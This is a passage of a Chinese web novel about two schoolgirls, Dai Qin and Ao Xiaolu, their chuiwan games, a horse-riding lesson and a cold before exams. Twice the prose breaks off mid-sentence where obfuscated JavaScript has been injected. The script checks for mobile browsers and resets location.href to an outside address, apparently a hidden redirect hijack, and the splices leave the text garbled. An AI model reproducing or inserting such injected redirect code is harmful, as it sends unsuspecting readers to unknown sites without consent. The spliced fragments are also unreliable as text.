戴琴也是闲的,恰好那本世界史还有几十页没看完,她就抱着书坐在离校场最近的花坛上看。一边看,一边时不时地望向敖小陆的方向,看她调整朋友们的姿势。 想要玩好一个游戏,最快的方式是直接上手。因此敖小陆只调了一会,就直接开始游戏,带着一群女孩子疯玩去了。 她和陈月好分别组了两队,直接组成对抗赛,在校场内追逐,用捶杆互相铲球,场面极度混乱,闹哄哄的。 戴琴听得头疼,索性放下书,目光朝对方看去。只见人群里,敖小陆挥着杆子,灵活地撬开陈月号的球杆,猴一样将球推入球框中。 这玩意不是说和高尔夫一样不用什么力气嘛,怎么打着打着和打马球一样了。 啧……还好她没学,不然得累死。 她不再去看校场中的热闹,反倒将注意力拉回来,落在了膝盖上的书上,一页一页翻了过来。 也不知道翻了几页,书籍恰好到了尾声,一阵被太阳炙烤过后的清香夹杂着汗水入侵了她的领地。戴琴下意识抬眸,看到了一张红扑扑的脸。 是敖小陆。 她刚擦完额头上的汗,发丝都有些湿,站在她面前拿着捶杆,微微喘着气:“你怎么在这里看书?” 戴琴合起了手里的书,仰头望着她,一本正经道:“晒太阳。” 敖小陆抬头,看着将她们遮得严严实实的落叶松树,满眼都是疑惑:“这树荫底下,也晒不了太阳啊。” 戴琴面色不变,一脸的从容镇定:“之前能晒。” “哦……敖小陆拉长了声音,连带着眼睛都眯成了狐狸一样,笑吟吟的,“我看你这里现在是晒不了太阳了,要不要和我们一起玩?” “我教你。” 戴琴抬眸,淡淡地扫了她一眼:“不要。” 戴琴嘴上说着“不要”,可每一天的傍晚,都会捧着书坐在靠近操场的花坛上,一边晒着夕阳,一边读书。每曰其名,强身健体。 8. 敖小陆与陆绵绵 日子一天天过去,捶丸队伍越发壮大,这股风潮席卷了整个高一。 也就是在这个时候,她才深刻地明白敖小陆究竟有多受欢迎。 你知道台风眼吗? 台风眼自身很安静,可是所到之处,无一不掀起狂风暴雨。 敖小陆就是那样的人。 后来玩的人太多了,几乎每周日的时候,敖小陆都会背来一堆捶杆,免费送给游戏的人。 戴琴那时候,还一度觉得她很傻。 因为换作是她的话,她肯定会抓住风口,将这些捶杆先是以体验的方式借出去,等到用户喜欢上这个游戏之后,再顺利成章把捶杆卖出去。 这是一个很好的商机,不是吗? 但敖小陆面对那么一个市场,竟然什么都不做,只是送杆子…… 用赠物的方式来交朋友,戴琴觉得她傻透了。 与此同时,她又微妙地感受到了嫉妒。 一方面是因为敖小陆的个性过于善良,她不在在意物质,就显得戴琴比较世俗。” “再加上她很热心肠,就会显得你很冷淡。 另外一方面,就是敖小陆的朋友很多,这让戴琴觉得她的帮助如同举手之劳般随意。 可更深层次里,戴琴觉得自己欠下的人情很特殊,而敖小陆那不以为意的从容让她略有些懊恼。 不知怎么地,这激起了戴琴的好奇心。接下来的一整个秋天,她都在观察与敖小陆有关的事。 敖小陆不愧是本年级的交际花,身边从来不缺玩乐的人,每天午饭和晚饭,都有一群人簇拥着她去食堂。 据戴琴观察,她不仅在本年级受欢迎,一些高年级的学姐也很喜欢找她玩。她画画很好,有一次戴琴还看着她跟着几名学生会的学姐在公示栏前画海报。 除此之外,敖小陆也有在好好经营自己的捶丸小队。每周三五六,是敖小陆捶丸队固定打球的时间。每到这个时间,操场的一半地区都被她们占用,通常会把打羽毛球的学生挤到角落里。 戴琴闲着无聊,大部分时间会抱着书在不远处的花坛坐着。有一次还看过她们和打羽毛球的起冲突,不过凭借着敖小陆那惊人的怪力在球场厮杀一番,抢回了地盘。 刨除这些敖小陆原有的技能不谈,戴琴还惊讶地发现,陈小写字非常好看。甚至一开始,戴琴还误以为敖小陆成绩很不错。后来上了两周课,她才发现敖小陆就是个花架子。 敖小陆写得一手好字,无论是中文还是英文,甚至是蒙文都华丽得像是一幅画。 除开这三门课和历史课之外,她就没有见敖小陆好好听过课。尤其是数学,物理,化学这样的课,那是上一节课睡半节课。敖小陆一开始睡觉,老师的视线就会朝她们这桌投来。戴琴是个好孩子,什么时候经历过被老师盯梢的感觉,立时就冷汗直冒。 她惊得连忙伸手,咬着牙把敖小陆摇醒。 开始的几节课戴琴还能温柔地小心翼翼摇一摇,后来就直接上手掐了。 掐得多了,敖小陆上课也不睡了。她就翻开课本,又开始画那些花里胡哨摆不上桌的玩意。戴琴倒是松了一口心,毕竟画画总比睡觉强。 可就是这样的一个人,在这所学习氛围十分严肃的学校里,却相当的受欢迎。 戴琴低头,扫了眼她放在腿边,每周背给伙伴们的捶杆,深深皱眉。 为什么? 长得不错,又热情开朗,慷慨大方,也难怪有那么多人喜欢和她交朋友。兴许人就是这样吧,给一点小恩小惠就能获得他人的青睐和感激。如此看来,也不失为一种社交手段。 戴琴这么想着,将目光落在了敖小陆脸上,眼神略有些复杂。 许是盯得久了,原本正在认真抄写作业的敖小陆转过头朝她看来:“怎么了?” 她有一双太过好看的眼,不笑的时候眼神很清澈,宛若夏夜时节流过草场的潺潺河水,夜色越深越是澄澈透明。 戴琴将自己那些无端地猜测压回心底,摇摇头表示没什么。敖小陆哼了一声,又重新拿着笔继续抄写单词去了。 戴琴沉默片刻,想了想还是开了口:“你总是让人占便宜,不会觉得吃亏吗?” 声音压得很低,落在敖小陆的耳朵里却十分清晰。她偏头看向戴琴,眼神带着几分疑惑:“什么吃亏?” 戴琴垂眸,望着她腿边的捶杆沉默不语。 敖小陆顿时了然:“你说这个啊……”她笑了起来,神情有几分无奈,“这有什么好吃亏的,玩得开心就好啦。” 理智上告诉戴琴话题到这里就结束了,这是敖小陆自己的事,她实在不应该多嘴。可她看到敖小陆的眼睛,破天荒地多说了几句:“这些杆子都是你自己买的吧,如果是这样的话,那它本身就具备一定的经济价值。” “总这样……以后会有人一直占你便宜的。” 以敖小陆的个性,就算不那么慷慨大方,也会有很多人愿意做她的朋友。可如果一味的让人白嫖,就会形成好说话的印象,到时候占便宜不就是家常便饭吗? 以前在初中的时候,她就见过这样的孩子。总是笑眯眯的帮人做事,久而久之就发展成连作业都会帮别人抄了。 虽然戴琴判定敖小陆不会走到这一步,毕竟她学习也就这样,别人不帮她抄作业就算不错了。但是饭票呢?钱呢?让利多了,这何尝不是一种损失。 戴琴的话音刚落下,就看到了敖小陆错愕的表情。她当即抿唇,转过身握住了笔在草稿纸上写写画画,语气僵硬道:“算了,你就当我什么都没说好了。” 如果这是敖小陆所选择的交友方式,那她何必多说。 反正这个年纪的孩子都是这样,你给我一点东西,我给你一点东西,就建立起了微薄的“友情”关系。大家聚集在一起,不过是为了排遣从出生以来就孤独一人的寂寞,又有什么高低贵贱之分呢。 她绷着一张脸,从敖小陆的角度看过去,实在是清冷得太过漂亮了。 敖小陆的手臂稍稍地往她那边挪过去越过了三八线,压低了声音轻轻道:“咦……好稀奇啊……你这是在关心我吗?” 戴琴伸出手肘将她的手推回去,声音清清冷冷的:“你过线了。” 敖小陆这回是真的笑起来了,她一手撑在桌上抵住自己的下巴,转过头笑眯眯的看着戴琴,放缓了声音和她解释:“你放心好了,她们玩久了想要买我肯定会收钱的。” “而且这样的东西,我想做的话,周末就可以做。” 戴琴听到这里转过头看向她,却见敖小陆蹩脚地眨了眨右眼,很是俏皮道:“别看我这样,我好歹也会一点木雕哦。” 敖小陆这个右眼眨得异常辛苦,她是那种只能同时眨两只眼的人,此刻右眼闭着,左眼极力睁开,眼肌抽动带着整张脸都微微颤动了起来,看起来很是滑稽。 戴琴有点想笑,但她忍住了,只是扫了一眼淡淡说:“挤不了就别挤了,不好看。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240086|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 敖小陆瞬间睁开自己的眼睛,捂住了自己的心口,装出一副很受伤的表情:“哇,你好冷淡。” 戴琴冷哼一声,重新将目光收回来看向前方。就在这时,班主任的身影,从走廊外的窗户一闪而过。她轻咳一声,伸手撞了撞敖小陆。敖小陆收到信号,立即坐正,拿着笔继续抄写英语单词。 没一会,班主任的身影悄无声息地出现在教室后门,随着她的身影迈入教室,原本还有些声响的教室立时间鸦雀无声。 静谧的教室里,戴琴拿着笔忙碌的计算着笔下的数学题。不知道怎么的,敖小陆刚才努力挤眼的蹩脚模样顿时浮现在脑海中。她想着想着,唇角微微上扬,一个清浅动人的笑容浮忽而浮现在唇边。 眨眼又是周五,已经将跳操学完的学生们终于迎来了期待已久的骑马课。一大早班上的学生们都显得异常激动,到了下午,这种焦躁之情显得越发的沸腾。 尤其是倒数第二节课的生物课,同学们那是一心都扑在校场外的林场上,完全听不进课了。 生物老师是个瘦瘦的汉族男人,一上课就发现了学生们的心不在焉。他很无奈,推了推眼睛,敲着黑板:“回神了回神了,集中注意力好好上课!” “你们要是好好听课,我就提前五分钟下课。要是不听课……” 他顿了顿,毫不留情地威胁:“我就拖堂十分钟了啊!” 这群盼望着去骑马的小孩哪里听得了这种话,当下就“唰”地一下将注意力放在黑板上,全神贯注,聚精会神,炯炯有神地看着老师。 那是乖得不得了哎。 生物课老师满意了,敲了敲黑板,继续讲课去了。 这节课应该是十二班的同学今天上过最认真的一节课,老师问什么就齐声答什么,上课氛围非常好。因此老师也遵守了诺言,一到点就放他们下课。 孩子们一窝蜂地就往教室外冲:“冲啊!” “我的小马驹,我来了!” 一群人激动得要命,生物老师跟在身后很是无奈,不停地说:“轻点,轻点……别的班还在上课呢。” “下楼慢点,别摔了!” 比起其他人的激动,后桌的敖小陆和戴琴就显得淡定得多了。 戴琴是纯粹的不会骑马,也对这项体育不太感冒。不如说,因为肺部不好,她几乎讨厌所有的运动。 至于敖小陆嘛…… 戴琴走得慢,挂在了十二班骑马大队的最后一名,慢悠悠地走下楼。 敖小陆也差不多,走在前面,此刻被几个女孩子簇拥着。其中一个就是那天询问骑马有趣的汉族女孩,向来不记得人名的戴琴,破天荒地记得她的名字。 女孩名叫陆绵绵,个子不到一米六。此刻站在敖小陆身旁,身形娇小,玲珑可爱:“骑马会不会很难啊?” 从戴琴的角度看过去,能够看到少女望着敖小陆的眼睛离带着明晃晃的崇拜,闪闪发光。 而比少女眼睛更明亮的,是能够映入少女眼中的那个人。敖小陆垂眸望着她,脸上带着笑容,很真诚地说道:“不难的啊,一学就会了。” 陆绵绵的脸上浮现了一丝羞涩,试探地开口:“那你可以教我吗?” 敖小陆笑呵呵的道:“好啊。” 落在她们身后的戴琴将这一幕尽收眼底,不禁在心中腹诽道:敖小陆天天这么笑,就不怕长出笑纹吗? 她又转念一想:傻狍子都过不了冬天,还长什么皱纹啊! 9. 第一次骑马的戴琴 马术课的场地不在校场,是在校场的东边小铁门穿过去的林场。 所谓的林场,其实是一片约莫有两百亩的草场,其中挨着学校围墙的那一部分种植着将近一亩多的榆树林,主要用来遮荫。剩下的部分,是用来给市内退休的赛马养老的操场。 蒙古马一直是世界顶尖马种之一,蒙古骑兵更是堪称无敌的重骑兵。在宋元时期,黄金家族靠着蒙古马驰骋疆场中原,不但征服了中原大陆,更是一度冲破中亚,打到了欧洲。当时的欧洲诸国,无一不闻风丧胆。 近现代的抗日战争里,蒙古马更是帮助了无数的解放军战士,跑赢了敌人的坦克与卡车,带来了胜利的战机。 可随着二战结束,世界进入工业时代。火车,汽车,卡车等等现代器械,代替了马匹的职责。伴随着现代化发展,在1976年的时候,九曲河市的最后一个军备养马场关闭,蒙古马就彻底从现代军队的军马职能中退出,重新回到牧民家中。 直到八十年代末,国外赛马组织为了得到优秀的种马,来到九曲河市养马的牧民家中挑选种马,当时的九曲河市政府抓住了时机,将赛马引入了九曲河市内。至此之后,赛马事项从那达慕大会脱出,成为了九曲河市一项极为常见又经常举办的运动。 九曲河市重搬迁新建的选址恰好和赛马场在同一个地方,于是就将中间的地带作为缓冲,用来安置已经退休的,以及一些还在成长期的赛马。 后来九曲河市高中新建之后首次招生,校长恰好由一个汉族人担任。这位校长又很喜欢传统文化,见周边有马,就与教育部与赛马组织商议之后,就将君子六艺中的“骑射”作为体育课,安排进市重的高一课程里。 戴琴走得慢,等她穿过校场,走过小门来到林场之时,发现班里已经少了将近大半的同学。剩下的同学们三三两两的聚集在一起,躲在榆树林之下,翘首望向左侧的林子尽头。 戴琴顺着她们的目光看过去,视线穿过可供四马并行,被马蹄夯实的泥路,落在了榆林的尽头。茂密的枝叶掩映间,依稀可见一个又一个挨着的平房。恰好这时,风拂过树梢,马蹄嘶鸣声随着阵阵的马粪尿骚味传来,辣得人几乎睁不开眼。 戴琴微微蹙眉,抬手掩住了口鼻。 就在这时,一阵剧烈的嘶鸣声从那头传来,学生们顿时浑身一凛,朝马房那头看去:“来了!” “来了来了!” 似乎是呼应着同学们的激动,脚下的大地也跟着他们的声音剧烈的颤动起来。 戴琴侧眸,跟随着同学们的目光,朝马房的方向看去。只见阵阵马蹄声中,尘烟四起,十多匹匹各色骏马,踏着滚滚尘烟,冲出了马房,声势浩大的朝她们奔来。 “驾!驾!驾!” 为首的敖小陆骑着一匹矫捷的黑色骏马,单手拽着缰绳,上身微微抬起,全神贯注地望着前方,目光极为坚定。 受她的气势所迫,围观的一些同学甚至都看呆了。陆绵绵甚至受她的吸引,还不自觉地往前迈了一步,险些挡在了道路中央。 眼见骏马就要撞到人,戴琴伸手,一把将人拉了过来:“小心!” 可就在这时,敖小陆一把拽住缰绳,扯住了马头,生生将骏马靠旁停住:“吁……” “唳……” 剧烈的拉扯给马儿带来了疼痛,它生生停住了后蹄,前足高高扬起,爆发出强烈的嘶鸣。嘶鸣声中,敖小陆的身躯随着马儿一起高高的仰后抬起,固定住自己的位置。 戴琴下意识地扭头,朝敖小陆的方向看去。 就在这时,跟在她身后而来的十几匹马从她们之间擦身而过。尘烟滚滚,呛得戴琴睁不开眼。等所有的马匹经过,戴琴再次睁开眼去看敖小陆时,却见她已经从马上跳下来,此刻正站在那匹黑马身侧,一边拽着缰绳,一边用手摸着小马的鬃毛,眼里都是和煦的光。 “马儿马儿你莫怕,榆林道是你的家……” 戴琴顿时一怔,就在这时,奔过前头的马匹放慢速度陆陆续续地停住了。 巴雅尔调转马头,骑着他的小马驹哒哒哒地走回来,一边走一边趾高气昂地骂:“敖小陆你有病是吧,停一边算什么事,万一大家全撞上了怎么办。” 敖小陆抬眸,漫不经心地扫了他一眼。 还未等她回复,一旁的戴琴却开了口:“不停的话,你们跟在后面的会减慢速度吗?” 巴雅尔被她呛了一句,垂眸望着她雪人一样漂亮的身姿,一句话也憋不出来。憋着憋着,脸都涨红了。 对峙间,体育老师也骑着马从马房得儿得儿地跑了过来。 他一到场,就把以敖小陆为首的骑马小队骂了一通:“我是让你们将马小骑过来,不是让你们冲过来。榆树林那么窄,道上还有同学,万一真的撞到了怎么办。” 孩子们低着头,乖巧得像个鹌鹑。 体育老师似乎骂得还不够,伸手一指指着敖小陆,厉声骂道:“尤其是你,敖小陆!” “你是班长带头冲跑,难道不知道多危险吗?” 站在敖小陆身旁的戴琴下意识朝她看去,却见敖小陆低下头颅,一副认真认错的样子:“是!您教育得对,下次一定不会这样了!” 体育老师冷哼一声:“认错态度很好,这次就不罚你了。” 旁边的陆绵绵倒是为敖小陆叫屈:“一开始小鹿也没冲跑啊,还不是巴雅尔在后面催……” 可是话还没说完,体育老师的眼神就扫了过来,说话的陆绵绵和其他女同学声音就小了下去。 教训完学生,上课铃也响了。体育老师轻咳一声,在身后那一群细微的马蹄嘶鸣声中轻咳一声,肃声道:“咳咳,好了,现在正式上课。” 同学们“唰”地一下齐齐将目光落在他身上,他甩着手里的哨子,沉声道:“你们也知道了,今天开始,正式上骑马课。” 同学们举手,发出了一阵欢呼。老师嘴角微微上扬,为这少男少女的热情,也有了几分笑意:“不过有几句话我要说在前头,首先,班上一共有十八个学生是会骑马的,也就是说还有十二个同学不会。” “今天这节课,重点练习上马,下马,以及驱马小步行走。” “老师只有一个人,看不来那么多的学生,所以需要熟练骑马的人辅助。” 体育老师说完,开始点人:“敖小陆,还有你,你你……他一共点了十二个会骑马的学生,接着说道,“你们几个看起来很不错,就当助教吧。” 被点了的人齐声道:“是!” 名单里没有巴雅尔,他站了出来,自告奋勇道:“老师,我也骑了很多年的马,我也可以教同学的。” 体育老师扫了他一眼,很直白地道:“自己会骑马和教人骑马是两回事,这种事需要一点耐心。” 巴雅尔的脸又红了,四周的同学窃窃私语,他听得双耳发烫。 “好啦!”体育老师提高音量,将学生们的注意力拉回来,“我现在做个示范。”他伸手一指,指向队伍偏前的一个身高较矮的朝鲜族男生,“你,就你上前来。” “哦,好。” 男生名叫金古月,被体育老师拽到众人前时,脸上还带着几分羞涩。 体育老师将自己的马拽过来,将它牵到金古月面前,与在场的同学细声说:“马对于我们蒙古族人来说十分重要,它像是我们的半身,与我们一起驰骋草原。也像是我们的家人,守护着我们的家园。” “通常来说,蒙古人要获得一匹真正属于自己的烈马,是需要通过自己驯服的。” 好奇的汉族人听到这里,连忙举手激动道:“我知道我知道,是用套马杆驯服是吗?” 体育老师莞尔,抬手摸了摸身旁的马匹,笑着回答:“这么说也没错,不过那是牧民驯服烈马的手段,对于现在的孩子来说太难了。所以你们现在骑的马,都是赛马场已经驯服的,很通人性。” “不过蒙古马的优势,本来也是‘善通人性’。” 《蒙鞑备录》马政篇里就有过这么一段描述:“鞑国地丰水草,宜羊马。其马初生一二年,即朴草地苦骑而教之,却养三年,而后再乘骑,故教其初是以不蹄啮也,千百成群,寂无嘶鸣,下马不用控击,亦不走逸,性甚良善。日间未尝当株,惟至夜方始牧放之,随其草之青枯野牧之,至晓,搭鞍乘骑,并未始与豆栗之类。” 这充分佐证了蒙古马虽烈,但一旦调教好,就会非常的温顺,哪怕成败成群也会听从骑手指挥。异常的吃苦耐劳,良善亦乘。 这一点与它的主人蒙古人一样,意志坚忍,知恩善报。 提到自己优秀的伙伴,体育老师也难得多了话:“说到这里,就不得不提一句,大家知道在蒙古族里,依靠什么来辨认什么样的马是一匹好马吗?” 巴雅尔同学很积极,抢先搭话:“我知道我知道,靠四肢!” 也有其他人答:“看胸膛的宽度。” “看它的屁股有没有肌肉和力气!后足很重要!” 在一群人七嘴八舌里,敖小陆的回答显得异常清亮:“看眼睛!” 戴琴扭头看向敖小陆,却见她双眼炯炯有神地望着老师回答道:“骏马要看它的眼睛,勇士要看他走过的路!” 体育老师顿时双眼一亮,拿起哨子吹了一声。学生们安静下来,他才精神奕奕道:“没错,看一匹马是不是好马,首先要看它的眼睛。” “神采飞扬,炯炯有神,目光坚定。拥有这样眼睛的骏马,哪怕其他方面差一点,也绝对是一匹会坚定飞奔向目标,与主人同生共死,不离不弃的好马!” 这番话说得很鼓动人心,同学们兴奋得啪啪啪鼓起掌来。 体育老师招了招手,赶紧把话头拽回来:“好了好了,扯远了,现在教你们怎么上马吧。” 他将金古月拽过来,站在马的右边,和同学们说:“你们上马的时候,拽着缰绳,按照自己惯用脚,站在左边或者右边,然后用同边的脚先上脚蹬。” “也就是说,你从右边上,就先用右脚踩。在左边上,就用左脚踩。” 他一边说着,一边扶着金古月用右脚踩上脚蹬。金古月又兴奋又害怕,两手拽着缰绳,右脚踩着脚蹬,身体重心全部往体育老师身上靠。 体育老师稳稳地托举着他,扭头对学生们说:“切记啊,身体千万不要往后站太多,不然马会踢你。” “站好之后,脚踩着脚蹬发力,然后……” 体育老师手臂猛地发力,架着金古月的身体往上一抛:“嘿!上去!” 那金古月呜哇大叫一声,就稳稳当当地坐在了马鞍上。 在他惊魂未定时,四周掌声四起,还没骑过马的孩子们双眼望着体育老师,眼睛亮得发光:“哇……” 好帅,好厉害,好想骑。 欢呼声里,体育老师转过头露出憨厚的笑容:“上马就是这样了。” “等下马的时候,也是一只脚固定,然后跳下来就可以了。” 他又带着金古月做了次示范,扛着他从马上下来。等全部交完之后,就开始传授骑马的技巧。无非就是上身要稳,腰部灵活,下肢随着骑浪摇摆等等…… 如此传授了一番,他才大手一挥,对跃跃欲试的同学们道:“安全事项也说完了,接下来你们不会的同学就去找刚才点了名的同学学习,没有任务的就自己骑马玩去吧。” “切记不能跑太远,也别摔着了啊!” 众学生齐声道:“是!” 体育老师最后说了一句:“队列解散!” 同学们各自散开,不会骑马的同学开始寻找自己的助教。 敖小陆转过头看向身旁的戴琴,试探地问:“会骑马吗?不会我教你?” 戴琴虽然是蒙古人,父亲和哥哥姐姐都会骑马。但她本人和母亲陆荛一样不太爱动,也就在小时候被哥哥姐姐抱着骑过一两回,要说真正会骑马,也算不上会。 她没有直接回复敖小陆,只是淡淡扫了她一眼,将视线落在正朝她们走来的陆绵绵身上,语气淡淡:“你不是要教她?”她可还没忘记敖小陆在楼梯口对人家女孩子的许诺。 敖小陆讶然,继而长眉一挑:“没事,你这么聪明,我可以教完你再教她。”她伸手一把抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240087|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住戴琴的手腕,大步流星地往她挑选的小马驹走去。 戴琴也没有反抗,一路被她拽着来到小黑马旁才松了手。 敖小陆解开绑在树上的缰绳,往后递给了戴琴:“拽着。” 戴琴乖乖地伸手,牵过她手里的缰绳。敖小陆转过身,让戴琴在马的右边站着,然后拉过她的右手搭在自己的左肩上:“你用左手拽着缰绳,右手搭在我的肩上,将右脚踩在脚蹬上……” 戴琴见过刚才的演示,一下就记住了。得到敖小陆的指点后,她二话不说地抬腿踩上脚蹬,搭在敖小陆肩头的右手用力使劲,敖小陆只觉得左肩一沉,耳边传来“嘿”地一声,再转过头来就看到戴琴翻身上马了。 她抬眸望着坐在马鞍上,拽着缰绳的清丽少女,眼里漾着光:“不错嘛,一次就上去了。” 戴琴也有些小小的自得,微微勾唇笑道:“那还是陈老师教得好。” 敖小陆站在马旁,仰头看着她眼眸中波光荡漾:“我什么都没教,是你学得好。” 戴琴被她看的有些脸热,不由地拽紧了缰绳。坐下的小马驹用后足踹着脚下的泥土,目光望着远方的草场,略有些躁动不安。 恰好这时,耳边传来陈月好软软糯糯的声音:“你不用怕,我能撑得住你,你放心大胆的我上去……” “就嘿咻一下……” 戴琴与敖小陆同时转头,朝声音的方向看去。却见身形娇小的陆绵绵几乎是半挂在陈月好身上,拽着缰绳闭着眼,咬着牙全身紧绷地往马上蹬。她们的那匹小棕马被踹了几下,都要恼了,不停地发出不满的嘶鸣声。 戴琴收回视线,将目光落在敖小陆身上:“我看她学得还挺难的,要不你去帮她算了。” 敖小陆转过头来,很是莫名地看着她:“我手头上的事情都没做完,为什么要去干涉别人的事?” “现在是月好在教她,我们要尊重月好的工作。还有啊,你也没学会骑马啊……” 还不等戴琴反驳,敖小陆就一拽缰绳,牵着马往榆林外走:“别以为能上马就会骑马了,骑马可是个大学问呢。” 戴琴骑在马上,看着身旁的敖小陆牵着马深一脚,前一脚地走过坑坑洼洼的榆树林,身体也随着马儿的前行,前后摇摆着。 她的身体不自觉地跟随着马儿前行的节奏晃动,目光落在敖小陆漆黑的发顶上,听她在耳边叨叨:“实践出真知,想要学会骑马,光听技巧是不够的,直接上手骑就对了。” “骑马最重要的是松弛,保持下半身固定,上半身随着马的肌肉摆动而摆动……” “所以多呆在马的背上,感受它的肌肉运动规律,调整自己的呼吸,让自己身体和马儿同步……” 絮絮叨叨,絮絮叨叨的,像个小老太太。戴琴坐在马上,视线落在敖小陆的发顶上,看秋阳从林叶间漏下,形成一束又一束的丁达尔效应,掠过敖小陆的面颊。 从这个角度来看,戴琴惊讶地发现敖小陆竟然有着一张特别不错的脸。 线条凌厉,轮廓清晰,眉眼深邃……尤其是睫毛,纤浓密长,一举一动都让人想起古希腊神话里那个陶醉在自己美貌中名叫纳西索斯的少年。 想到这里,戴琴微微蹙眉:女孩子用少年来形容合适吗?不过说到底,这也太给敖小陆脸了吧! 正走神呢,戴琴忽而感受到阳光变得越来越炙热。她回神一看,却见不知何时,被榆林挡住的草场层层被揭开,视线豁然开朗,一片无垠绿海伴随着炙热的秋阳,猛烈的冲击而来。 巨大的视觉冲击,使得戴琴脑袋一时发怔。还未适应蓝天白云青草地的眼睛,在强光之下,只觉得自己眼前所看的一切都泛着梦幻的虚影,朦朦胧胧地看不真切。 戴琴骑在马上,拽着缰绳望着眼前的辽阔之景,神思恍惚。 就在这时,她听到脚边的敖小陆道:“马都上了,那就跑起来吧。” 敖小陆伸手,在戴琴腰后拍了一下:“往前坐一点。” 在自己不熟悉的领域,戴琴是保持了一颗虚心求教,认真学习的赤诚之心。她今天实在是太听话了,脑子还没来得及询问,身体就诚实地作出了反应,往前挪了一点空间。 等挪完她才想到问:“为什么要挪?” 敖小陆直接用行动回答了她。 她一手拽住了缰绳,一手撑在了马鞍上,甚至连马镫子都没踩,就这么全凭技巧,一声轻嘿,腰腹一个用力翻身上了马,稳稳当当地坐在了戴琴身后。 身上多了一个人的重量,小马驹不安地摇头晃脑。 戴琴坐在前方,感受着身后传来的温度,一时有些失语:“你……” 从小到大,除了被母亲抱在怀里哄着,戴琴从未与人有过如此亲密的距离,更不要说被圈在怀里同乘一骑了。私人领地被人全然入侵的感觉,第一反应是畏惧,她被惊得坐在马上,浑身僵硬。 偏生敖小陆还一无所觉,甚至伸出两手,越过戴琴的身体拽住了缰绳,在她耳边轻声说:“我带你骑两圈,你自己就会了。” 还未等戴琴反应过来,敖小陆忽然一拽缰绳,目光陡然凌厉:“驾!” 缰绳拍打着马儿,发出“啪”的声音。马儿嘶鸣一声,化作一道漆黑的闪电,迅疾地冲向前方的草原。 戴琴的身体受惯性往后倾,撞入了敖小陆的怀抱,只觉得自己一颗心都要飞出去了。 “敖!小!陆!” 她咬牙切齿,强压着心里的惊吓,最终忍不住大喊:“啊啊啊啊啊啊啊啊……” 混账! 等下了马,她要将敖小陆千刀万剐! 啊啊啊啊啊啊啊…… 风从草原最深处吹来,拂过蓬勃生长的青草地,扬起少女们飞舞的发丝,带走了少女银铃般的大笑。 “哈哈哈哈哈哈……” 敖小陆的教学简单粗暴,虽然教会了戴琴,但也气得戴琴好几天没有和她说话。后来还是她画了好几天的卡通小人,才让这件事翻篇。 那是一个卡通版的戴着鹿角帽的小人,举着牌匾跪在地上,大声地喊:“I’m sorry!” 10. 戴琴与感冒 就这样,初秋逝去,秋意渐浓,戴琴记忆里色彩最分明的深秋要来了。 似乎每一个人都是这样,对于正在经历的事情,就如同呆在河底的石头察觉不到日复一日的溪流有什么区别一样,迟钝又淡漠。 直至许多年后回望过去,才惊觉从前的某一日发生了剧烈的变化,人生就从那一刻开始划下了一道分界线,从此进入了不同的生命阶段。 对于戴琴来说,高一的第一次月考就是这样的一道人生分水岭。 开学已经将近一个月,中秋也快来了。秋日佳节过后,就是高一新生的第一次月考。能否在这学期期末重新分配到重点班,全看此战的开局。 为了达成自己的目标,这段时间戴琴都在很努力的复习。 每天早起一小时,晚睡半小时,就连午休的时间都不放过,全部都用来复习了。她的努力刻骨大家都看在眼里,就连陈月好这种好学份子,在她这种勤奋之下,都感到胆寒。 随着月考的临近,秋风也越来越凉。伴随着一场秋雨落下,气温骤降,有不少学生感染了风寒,班上响起了一阵此起彼伏的擤鼻涕声。 其中以戴琴这种身体纤弱的小瘦子病得最重。 “哈啾!” 一道打喷嚏声在十二班后门的角落响起,戴琴用手帕擦掉了鼻涕,裹紧了身上单薄的校服,靠在墙边,翻开自己做的单词卡,认真地背诵着。 教室的门窗禁闭着,但肆虐的冷风还是从咿呀咿呀的门窗缝隙里溜了进来,缠绕在着凉的同学们身上。本就衣衫单薄的学生,在这样的冷风舔舐里,浑身打了个抖,激起了一身鸡皮疙瘩后,捂紧了自己胳膊,缩成一团。 敖小陆穿了一件厚厚的黄皮袄子,戴着厚实的袍子帽,扫了一眼教室前排的空位。白日里那些疯狂打喷嚏的同学都请假休息了,并没有来上晚自习。她转过头,看向自己身旁的同桌,伸出手肘撞了撞她:“诶……” 戴琴抬眸睨了她一眼,双眼湿漉漉的:“干嘛?” 鼻音很重,听起来就是在生病。再加上风寒感冒让她头疼得不行,呼吸道又不顺畅,整个人都显得有些烦躁。 敖小陆凑到她面前,压低了声音说:“她们都请假了,你要不要也回宿舍休息?” 戴琴摇摇头,冷淡地拒绝了。 她人长得白,身体一有什么异样,脸上都会泛起潮红之色。 敖小陆对此很担心,继续劝诱道:“你看你都复习那么久了,也不差这一时半会了。” “反正下周一就考试了,剩下这四天,你不如好好休息,养精蓄锐如何?” “还记得我和你说的那个成吉思汗的故事吗?保持精力很重要的。” 她的声音很轻,还没有外面冷风敲打门窗的声音来得重。然而戴琴并不领情,她捏着手里的英语字卡,淡淡开口:“与其担心我,不如操心操心你自己。” “咳咳……”结果没想到说话的句子一长,她就忍不住咳嗽起来:“咳咳咳咳咳咳……” 戴琴捂住嘴巴,剧烈咳嗽着。此刻她弓着腰背,几乎是趴在桌子上,咳得震天动地。敖小陆觉得她肺都要咳出来,吓得她连忙打开戴琴那个“奶瓶”,赶紧递过去:“快……快喝水……” 